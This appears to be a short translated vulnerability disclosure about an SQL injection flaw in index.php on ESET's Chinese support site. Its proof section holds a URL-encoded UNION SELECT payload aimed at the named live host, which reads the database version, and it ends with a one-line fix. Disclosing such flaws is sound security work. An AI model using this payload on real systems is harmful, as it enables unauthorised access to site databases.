ESET Chinese site injection vulnerability and repair

Brief description:
Variables are not filtered, resulting in the injection vulnerability.

Detailed description:
The variables on the index. php page are not filtered. You can obtain basic server information or directly read the content of the site data table.

Proof of vulnerability:
Http://support.eset.com.cn/activation/ess/index.php? Code = 79 & LNG = CHS & type = act % 27% 20and % 201 = 2% 20 union % 20 select % 20 unhex % 28hex % 28 concat % 280x5e, version % 28% 29, 0x5e % 29% 29% 29,0% 20/* % 20and % 20% 271% 27 = % 271

Solution:
Filter variables.